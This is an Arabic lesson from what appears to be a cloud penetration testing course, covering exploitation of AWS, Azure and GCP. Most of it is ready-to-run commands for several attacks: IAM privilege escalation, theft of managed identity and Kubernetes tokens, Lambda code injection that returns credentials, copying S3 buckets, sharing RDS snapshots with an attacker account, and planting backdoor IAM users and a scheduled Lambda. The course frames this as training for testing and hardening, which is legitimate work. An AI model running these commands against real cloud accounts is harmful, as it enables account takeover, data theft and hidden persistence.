الدرس 23 من 24

اختبار اختراق السحابة والتقييم

تقنيات استغلال السحابة

4 دقيقة للقراءة

فهم مسارات الاستغلال الخاصة بالسحابة ضروري لكل من الاختبار الهجومي والتقوية الدفاعية. إساءة سياسة IAM وتصعيد الصلاحيات وتقنيات الحركة الجانبية تختلف بشكل كبير عن هجمات البنية التحتية التقليدية.

تصعيد صلاحيات AWS

مسارات التصعيد القائمة على IAM

iam:PassRole + إنشاء خدمة:

# إذا كان بإمكانك تمرير الأدوار وإنشاء Lambda
aws iam create-role --role-name EscalateRole --assume-role-policy-document file://trust.json

# إنشاء Lambda بدور admin
aws lambda create-function \
    --function-name escalate \
    --runtime python3.9 \
    --role arn:aws:iam::123456789012:role/AdminRole \
    --handler index.handler \
    --zip-file fileb://payload.zip

# كود Lambda يسترجع بيانات اعتماد admin عبر metadata

iam:CreatePolicyVersion:

# إنشاء إصدار سياسة جديد بصلاحيات admin
aws iam create-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
    --policy-document file://admin-policy.json \
    --set-as-default

iam:AttachUserPolicy / AttachRolePolicy:

# إرفاق AdministratorAccess
aws iam attach-user-policy \
    --user-name compromised-user \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

متجهات التصعيد الشائعة

الصلاحية مسار التصعيد
iam:PassRole + lambda:CreateFunction إنشاء Lambda بدور ذو صلاحيات
iam:PassRole + ec2:RunInstances تشغيل EC2 بـ instance profile
iam:CreatePolicyVersion تعديل السياسة لإضافة صلاحيات
iam:AttachUserPolicy إرفاق سياسة admin
iam:PutUserPolicy إضافة سياسة admin inline
sts:AssumeRole افتراض دور ذو صلاحيات أعلى
lambda:UpdateFunctionCode تعديل Lambda موجود
ec2:ModifyInstanceAttribute تغيير userData للـ instance

الكشف الآلي

# Pacu - إطار استغلال AWS
python3 pacu.py

# داخل Pacu:
> run iam__privesc_scan
> run iam__enum_permissions

تصعيد صلاحيات Azure

إساءة تعيين الأدوار

# إذا كان لديك Owner أو User Access Administrator
az role assignment create \
    --assignee user@domain.com \
    --role "Owner" \
    --scope /subscriptions/SUBSCRIPTION_ID

استغلال Service Principal

# إنشاء service principal بوصول ذو صلاحيات
az ad sp create-for-rbac \
    --name "attacker-sp" \
    --role Contributor \
    --scopes /subscriptions/SUBSCRIPTION_ID

# استخدام بيانات الاعتماد المُرجعة
az login --service-principal \
    -u APP_ID \
    -p PASSWORD \
    --tenant TENANT_ID

إساءة Managed Identity

# من VM/App Service مخترق بـ managed identity
# الحصول على رمز الوصول
curl -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# استخدام الرمز لاستدعاءات ARM API
curl -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions?api-version=2020-01-01"

تصعيد Azure AD

الصلاحية التصعيد
Application.ReadWrite.All إنشاء تطبيق بصلاحيات API ذات صلاحيات
RoleManagement.ReadWrite.Directory تعيين Global Admin
User.ReadWrite.All تعديل سمات المستخدم
Group.ReadWrite.All إضافة النفس لمجموعات ذات صلاحيات

تصعيد صلاحيات GCP

إنشاء مفتاح Service Account

# إذا كان لديك iam.serviceAccountKeys.create
gcloud iam service-accounts keys create key.json \
    --iam-account admin-sa@project.iam.gserviceaccount.com

# المصادقة كـ service account
gcloud auth activate-service-account --key-file=key.json

إساءة setIamPolicy

# إذا كان لديك setIamPolicy على المشروع
gcloud projects set-iam-policy PROJECT_ID policy.json

# policy.json يمنح owner للمهاجم
{
  "bindings": [{
    "role": "roles/owner",
    "members": ["user:attacker@gmail.com"]
  }]
}

انتحال الهوية

# إذا كان بإمكانك انتحال service accounts
gcloud auth print-access-token \
    --impersonate-service-account=admin@project.iam.gserviceaccount.com

الحركة الجانبية

الوصول عبر حسابات AWS

# تعداد الأدوار القابلة للافتراض
aws iam list-roles \
    --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]'

# افتراض دور عبر الحسابات
aws sts assume-role \
    --role-arn arn:aws:iam::TARGET_ACCOUNT:role/TrustedRole \
    --role-session-name lateral-movement

# استخدام بيانات الاعتماد الجديدة
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

حقن كود دالة Lambda

# تعديل دالة Lambda موجودة
cat > payload.py << 'EOF'
import boto3
import os

def handler(event, context):
    client = boto3.client('sts')
    creds = client.assume_role(
        RoleArn=os.environ['TARGET_ROLE'],
        RoleSessionName='injected'
    )
    # تسريب بيانات الاعتماد
    return creds['Credentials']
EOF

zip payload.zip payload.py
aws lambda update-function-code \
    --function-name target-function \
    --zip-file fileb://payload.zip

رمز Kubernetes Service Account

# من pod مخترق
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# استخدام الرمز للوصول لـ API
kubectl --token=$TOKEN --server=https://kubernetes.default auth can-i --list
kubectl --token=$TOKEN get secrets -A

تسريب البيانات

تسريب S3 Bucket

# نسخ bucket بالكامل
aws s3 sync s3://target-bucket ./exfil/

# إذا كان bucket عام
aws s3 cp s3://target-bucket/sensitive.db ./exfil/ --no-sign-request

مشاركة لقطة قاعدة البيانات

# مشاركة لقطة RDS مع حساب المهاجم
aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier target-snapshot \
    --attribute-name restore \
    --values-to-add ATTACKER_ACCOUNT_ID

# في حساب المهاجم، استعادة اللقطة
aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier stolen-db \
    --db-snapshot-identifier arn:aws:rds:region:VICTIM:snapshot:target-snapshot

تقنيات الثبات

إنشاء مستخدم IAM/مفتاح وصول

# إنشاء مستخدم خلفي
aws iam create-user --user-name service-automation

# إنشاء مفاتيح وصول
aws iam create-access-key --user-name service-automation

# إرفاق الصلاحيات
aws iam attach-user-policy \
    --user-name service-automation \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

باب خلفي Lambda

# إنشاء Lambda مستمر يُشغّل بأحداث CloudWatch
aws events put-rule \
    --name backdoor-trigger \
    --schedule-expression "rate(1 day)"

aws lambda add-permission \
    --function-name backdoor \
    --statement-id events \
    --action lambda:InvokeFunction \
    --principal events.amazonaws.com

aws events put-targets \
    --rule backdoor-trigger \
    --targets "Id"="1","Arn"="arn:aws:lambda:region:account:function:backdoor"

قائمة تحقق الاستغلال

المرحلة AWS Azure GCP
تصعيد الصلاحيات PassRole، CreatePolicyVersion تعيين الأدوار، Managed Identity setIamPolicy، مفاتيح SA
الجانبي AssumeRole، حقن Lambda Service principals الانتحال
الثبات مستخدمو IAM، Lambda تسجيل التطبيق مفاتيح SA
التسريب S3 sync، مشاركة اللقطة تنزيل Blob gsutil

التالي، سنستكشف أدوات وأطر تقييم أمان السحابة. :::

اختبار

الوحدة 6: اختبار اختراق السحابة والتقييم

خذ الاختبار